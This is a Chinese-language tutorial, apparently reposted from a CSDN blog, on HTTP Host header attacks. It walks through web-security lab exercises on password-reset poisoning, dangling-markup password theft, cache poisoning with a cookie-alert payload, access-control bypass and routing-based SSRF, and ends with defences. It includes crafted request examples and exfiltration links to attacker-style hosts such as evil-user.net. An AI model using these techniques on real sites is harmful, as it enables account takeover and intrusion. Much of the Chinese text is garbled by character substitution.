1. HTTP Host头攻打

从HTTP / 1.1开始,HTTP Host标头是必须的申请标头。它指定客户端要拜访的域名。例如,当用户拜访https://example.net/web-security时,其浏览器将组成一个蕴含Host标头的申请,如下所示:

GET /web-security HTTP/1.1Host: example.net

在某些状况下,例如当申请由代理转发时,Host值可能会在达到预期的后端组件之前进行更改。也就产生了Host头攻打。

2. HTTP Host头的作用

HTTP Host头的目标是帮忙辨认客户端要与之通信的后端组件。如果申请不蕴含Host头或者格局不正确,则在将传入申请的应用程序时可能会导致问题。

从历史上看,这种破绽并不存在太大问题,因为每个IP地址只会被用于单个域的内容。现在,很大水平上是因为同一个IP上存在多个Web应用程序(不同端口,不同域名解析等),通常能够在同一IP地址拜访多个网站和应用程序。这种办法的遍及也局部是因为IPv4地址耗尽所致。

当能够通过同一IP地址拜访多个应用程序时,最常见的起因是以下状况之一:

  • 虚拟主机

单个Web服务器托管多个网站或应用程序。这可能是具备单个所有者的多个网站,然而也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享一个公共IP地址。

  • 通过代理路由流量

网站托管在不同的后端服务器上,然而客户端和服务器之间的所有流量都通过代理零碎进行路由。这可能是一个简略的负载平衡设施或某种反向代理服务器。在客户通过内容散发网络(CDN)拜访网站的状况下,这种设置尤其广泛。

在下面两种种状况下,即便网站托管在独自的后端服务器上,它们的所有域名也都解析为两头组件的单个IP地址。这带来了与虚拟主机雷同的问题,因为反向代理或负载平衡须要晓得每个申请到的哪个后端上。

HTTP Host头的作用就在于,指定申请应该发送到那个应用程序的后端服务器上。打个比方,一封信须要送到寓居在公寓楼中的某人手中,整个公寓有许多房间,每个房间都能够承受函件,通过指定房间号和收件人(也就是HTTP Host头)来将信封送到指定的人手中。

3. 什么是HTTP Host头攻打

一些网站以不平安的形式解决Host头的值。如果服务器间接信赖Host头,未校验它的合法性,则攻击者可能可能应用此可控变量来注入Host,以操纵服务器端的行为。

现成的Web应用程序通常不晓得将它们部署在哪个域上,除非在装置过程中在配置文件中手动指定了该域。例如,当他们须要晓得以后域以生成电子邮件中蕴含的相对URL时,他们可能依赖于Host头中的值:

<a href="https://_SERVER['HOST']/support">分割反对</a>

Host头值还能够用于不同网站零碎之间的各种交互。

因为Host头实际上是用户可管制的,因而这种做法可能导致许多问题。如果未校验或者间接应用Host头,则Host头能够与一系列其余破绽“组合拳”攻打,比方:

  • 缓存投毒
  • 非凡业务性能的逻辑破绽
  • 基于路由的SSRF
  • 经典服务端破绽,如SQL注入(当Host被用于SQL语句时)等

4. 如何挖掘HTTP Host头攻打

首先要判断服务端是否检测Host头?检测完了是否还应用Host头的值?

通过批改Host的值,如果服务端返回错误信息:

则阐明服务端检测了Host的内容。至于有没有应用Host头的值,有以下几种办法去挖掘:

批改Host值

简略的来说,能够批改HTTP头中的Host值,如果察看到响应包中含有批改后的值,阐明存在破绽。

但有时候篡改Host头的值会导致无法访问Web应用程序,从而导致“有效主机头”的错误信息,特地是通过CDN拜访指标时会产生这种状况。

增加反复的Host头

增加反复的Host头,通常两个Host头之中有一个是无效的,能够了解为一个是确保申请正确地发送到指标服务器上;另一个则是传递payload到后端服务器中。

GET /example HTTP/1.1Host: vulnerable-website.comHost: attackd-stuff

应用绝对路径的URL

只管许多申请通常在申请域上应用相对路径,然而也同时配置了相对URL的申请。

GET https://vulnerable-website.com/ HTTP/1.1Host: attack-stuff

有时候也能够尝试不同的协定,如HTTP或HTTPS。

增加缩进或换行

当一些站点block带有多个Host头的申请时,能够通过增加缩进字符的HTTP头来绕过:

GET /example HTTP/1.1 Host: attack-stuffHost: vulnerable-website.com

注入笼罩Host头的字段

与Host头性能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。

GET /example HTTP/1.1Host: vulnerable-website.comX-Forwarded-Host: attack-stuff

诸如此类,还有其余的字段:

  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded

疏忽端口仅校验域名

当批改、增加反复Host头被拦挡的时候,能够尝试理解Web应用程序是怎么解析Host头的。

比方,一些解析算法会疏忽Host头中的端口值,仅仅校验域名。这时候能够将Host批改为如下模式:

GET /example HTTP/1.1Host: vulnerable-website.com:attack-stuff

放弃域名不变,批改端口值为非端口号的其余值(非数字), 将Host头攻打的payload放在端口值处,同样能进行Host头攻打。

5. HTTP Host头攻打破绽示例

5.1 明码重置中毒

依据HTTP Host头攻打的攻打特点,它被广泛应用于明码重置中毒:攻击者能够操纵网站在重置明码状况下生成的明码重置链接,使其发送攻击者指定的域下,利用此来窃取重置任意用户明码的令牌。

一个重设明码(遗记明码)性能的大抵流程如下:

  1. 用户输出其用户名或电子邮件地址,而后提交明码重置申请。
  2. 该网站查看该用户是否存在,而后生成一个长期的、惟一的、简单的令牌,该令牌与后端的用户帐户相关联。
  3. 该网站向用户发送一封电子邮件,其中蕴含用于重置其明码的链接。重置令牌的参数蕴含在相应的URL中:
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
  1. 当用户拜访此URL时,网站将查看提供的令牌是否无效,并应用它来确定要重置哪个帐户。如果所有都合乎,则能够进入用户重置明码步骤。最初,令牌被销毁。

以上步骤的安全性依赖于:只有指标用户能力拜访其电子邮件,从而能够拜访其惟一的令牌。

明码重置中毒是窃取此令牌以更改另一个用户明码的一种破绽。

如果网站重置明码的流程齐全依赖用户的可控输出(如HTTP Host头),这可能导致明码重置中毒:

  1. 攻击者获取受害者的用户名或者电子邮件,作为提交重置明码的申请,攻击者会拦挡申请并批改HTTP Host头为其指定的域,如evil-user.net
  2. 受害者会收到一封重置明码的邮件,但因为攻击者批改了Host头,而web程序生成重置链接又齐全依赖于Host头,导致生成以下URL:
https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
  1. 如果受害者点击了该链接,重置明码的令牌就会发送到攻击者的服务器 evil-user.net 上
  2. 当攻击者获取到虫子明码的令牌之后,就会进行相应的结构拜访实在重置明码的URL进行明码重置。
5.1.1 明码重置中毒—根底

具体理解了下面的明码重置中毒的流程和原理之后,这里通过HTTP Host头攻打导致的根底的明码重置中毒来演示。

首先输出用户名或者用户的电子邮箱来重置指定用户的明码:

提交之后,会发送一封重置明码的电子邮件到wiener用户的邮箱中(数据包如右图):

留神重置明码的链接,可能是受Host头的值的影响?

咱们来验证一下是否存在HTTP Host头攻打,批改Host头的值为 baidu.com:

发现申请是能够被后端服务器接管的,所以是存在HTTP Host头攻打的。

这里就输出受益用户carlos进行重置明码,而后抓包将Host头的值改为咱们本人的服务器:

而后在咱们本人的服务器上就能够通过拜访日志看到被窃取的重置明码Token:

而后依据已知链接法则,结构重置明码的链接:

https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi7

随即进入输出新密码的界面,明码重置中毒胜利。

5.1.2 明码重置中毒—注入笼罩Host头的字段

有时候间接批改Host头、增加反复Host头的值以及混同Host头都不行:

能够尝试应用与Host头性能雷同的HTTP字段,如X-Forwarded-Host、X-Forwarded-For等,能够进行Fuzz:

实际上他可能被 X-Forwarded-Host 字段影响,导致Host头攻打,当同时增加多个字段使申请被拦挡时,能够尝试相似排除法、二分法来排查哪个字段无效。

对受益用户carlos进行明码重置投毒:

而后结构链接即可:

https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h

5.1.3 重置明码中毒—Dangling Markup技术

首先简略介绍一下 Dangling Markup技术:

  • Dangling markup技术

Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它应用图像等资源(联合CSP运行的策略)将数据发送到攻击者管制的近程地位。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它十分有用。其思维是插入一些未实现状态的局部HTML,例如图像标记的src属性,页面上的其余标记敞开该属性,但同时将两者之间的数据(蕴含窃取页面的内容)发送到近程服务器。

例如,咱们在反射型XSS注入点上注入这样一个img标签:

<img src="https://evilserver/?

则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能蕴含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以实现CSRF的利用。

什么时候能够应用 Dangling Markup技术 呢?与咱们这篇文章的主题有什么关系呢?

咱们间接进入主题,当输出须要重置明码的用户名后,该用户的邮箱内会收到如下邮箱:

有一个跳转到登录界面的链接,前面紧接着重置之后的随机明码。

此时考虑一下,该链接是否是从Host头取值而来?只有这个值可控,那么就能够利用Host头攻打施行 Dangling Markup攻打,蕴含住链接前面紧跟着的明码,再联合Host头攻打将申请指定到攻击者服务器上。一个漫天过海的窃取行为就实现了。

  • 第一步,寻找Host头攻击点:

通过Fuzz,可发现Host头攻打类型为 疏忽端口仅校验域名。即服务端在校验Host域的时候,仅校验了域名,疏忽了前面的端口号,造成端口值可控(能够是数字或字符):

通过在Host头的端口中注入payload,仍旧能够实现Host头攻打。

  • 第二步,借助可控变量 Host:ip:port 来施行 Dangling Markup技术,从而将前面的明码外带到攻击者服务器上:

留神,须要闭合此处的双引号进来,通过尝试,输出单引号时,服务端会主动转为双引号,故这里通过单引号将双引号闭合,而后增加自定的 <a href=xxx.attack-domain> 标签将明码外带:

本来的失常HTML是这样的:

通过Dangling Markup技术 在a标签的链接中注入? 符,使得前面的值在双引号闭合之前全副被当做URL参数申请到攻击者服务器上:

这也是 Dangling Markup技术 的精华所在,该技术的外围点在于:

可控变量前面是否接着须要窃取的要害数据(包含Token、明码等)

在攻击者服务器上能够看到被Host头攻打转发上来的申请,外面胜利窃取了受害者重置后的明码:

5.2 Host头攻打+缓存投毒

当存在Host头攻打的web站点不存在明码重置的性能的时候,此时该破绽就显得没有影响,因为不可能驱使用户去抓包批改Host头,辅助攻击者实现一系列的攻打。

然而,如果指标站点应用Web缓存,则能够通过缓存投毒给其余用户提供带有病毒的缓存响应。此时的Host头攻打破绽转变为相似XSS存储型类的破绽。要结构Web缓存投毒攻打:

  1. 须要寻找映射到其余用户申请的缓存键;
  2. 下一步则是缓存此歹意响应;
  3. 而后,此歹意缓存将提供给尝试拜访受影响页面的所有用户。
  • 第一步,寻找Host头攻击点:

通过对站点的主页增加反复的Host值,能够达到笼罩的成果,并验证存在Host头攻打:

  • 第二步,寻找是否应用了Web缓存?缓存键是什么?

从上图中也能够发现,站点应用了Wen缓存性能,并且配合Host头攻打,能够缓存 /resources/js/tracking.js资源文件。

  • 第三步,在攻击者服务器上创立一个同名的 /resources/js/tracking.js资源文件,内容为:
alert(document.cookie);

而后通过Host头注入攻击者服务器域名,能够看到在响应中正确地对应了咱们的 /resources/js/tracking.js资源文件:

发送屡次申请,使该申请的响应变为缓存:

当其余用户申请站点主页时,服务端就会提供该歹意缓存给用户,造成缓存投毒。

5.3 Host头攻打绕过访问控制

出于平安思考,通常网站对某些性能的拜访限度为外部用户应用。然而通过Host头攻打肯定可能上能够绕过这些限度。

对于一个站点,从发现Host头攻打到利用,上面来展现一个残缺的流程:

  • 第一步,拜访主页,随便批改Host的值:

留神,这里的Host的值不会呈现响应包中,然而仍然可能存在Host头攻打,因为响应仍然胜利,阐明服务端没有对Host头做验证。

  • 第二步,寻找敏感页面,通过 /robots.txt 晓得 /admin 为做了访问控制的页面:

能够错误信息提醒,/admin 页面只容许本地用户拜访。

  • 第三步,将Host改为服务端外部地址,从而绕过IP访问控制:

5.4 Host头攻打+SSRF

Host头攻打可能会导致基于路由的SSRF攻打,称为:Host SSRF Attack。

经典的SSRF攻打通常基于XXE或可利用的业务逻辑,将用户可控的URL作为HTTP申请发送;而基于路由的SSRF依赖于云部署的体系结构中,包含负载平衡和反向代理,这些中间件将申请调配发送到对应的后端服务器解决,如果服务端未校验Host头转发的申请,则攻击者可能会将申请发送(重定向)到体系中的任意零碎。

这可能须要晓得外部零碎的IP地址(公有地址),个别能够通过信息收集或者Fuzz来判断无效的公有IP地址(如枚举192.168.1.1/16)。

5.4.1 根底Host头攻打+SSRF

比方,一般形式拜访不到 /admin 页面(404):

猜想 /admin 存在于内网中,须要内网机器能力拜访,然而配合Host头攻打+SSRF能够绕过并拜访。

  • 第一步,判断Host是否被应用,可用DNSLog外带

这里我应用Burp自带的 “Burp Collaborator client” 来实现外带:

阐明服务端是依据Host头的域名来申请资源的。

  • 第二步,基于Host头的SSRF探测内网主机

如果一些敏感的页面(比方治理页面),深处于内网,外网无法访问,然而通过Host头攻打+SSRF可达到绕过访问控制,从而拜访内网资产,这里Fuzz内网的IP的C段为192.168.0.0/24,间接利用Intruder枚举:

失去内网IP为192.168.0.240

  • 第三步,拜访内网资源

结构 /admin 页面,在Host处换位内网IP:

5.4.2 Host头攻打+SSRF—应用绝对路径的URL

有时候服务端会校验Host头的值,如果Host被批改,服务端会回绝所有批改过后的申请:

一般申请通常在申请域上应用相对路径,然而,服务端也同时可能配置了相对URL的申请,采纳如下模式可绕过对Host的验证:

GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.1

接着用 “Burp Collaborator client” 进行外带:

外带胜利,阐明Host头被服务端应用来向指定域名申请资源,间接SSRF爆破内网:

拜访内网页面:

6 HTTP Host头攻打防护

最简略的办法是防止在服务器端代码中齐全应用Host头,能够只应用绝对URL。

其余办法包含:

6.1 正确配置相对域名URL

当必须应用相对域名URL时,应在配置文件中手动指定以后域的URL,并援用配置的值,而不是从HTTP的Host头中获取。这种办法可避免明码重置的缓存投毒。

6.2 白名单校验Host头的域

如果必须应用Host头,须要正确校验它的合法性。这包含容许的域,并应用白名单校验它,以及回绝或重定向对无奈辨认的主机申请。这包含但不仅限于单个web应用程序、负载平衡以及反向代理设施上。

6.3 不反对主机头笼罩

确保不实用与Host头性能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。

值得一提的是,不应该将内网应用的Host主机(不出网)与公网的应用程序托管在同一个服务器上,否则攻击者可能会操纵Host头来拜访外部域。

原文链接:https://blog.csdn.net/angry_p...

版权申明:本文为CSDN博主「angry_program」的原创文章,遵循CC 4.0 BY-SA版权协定,转载请附上原文出处链接及本申明。

近期热文举荐:

1.1,000+ 道 Java面试题及答案整顿(2022最新版)

2.劲爆!Java 协程要来了。。。

3.Spring Boot 2.x 教程,太全了!

4.20w 程序员红包封面,快快支付。。。

5.《Java开发手册(嵩山版)》最新公布,速速下载!

感觉不错,别忘了顺手点赞+转发哦!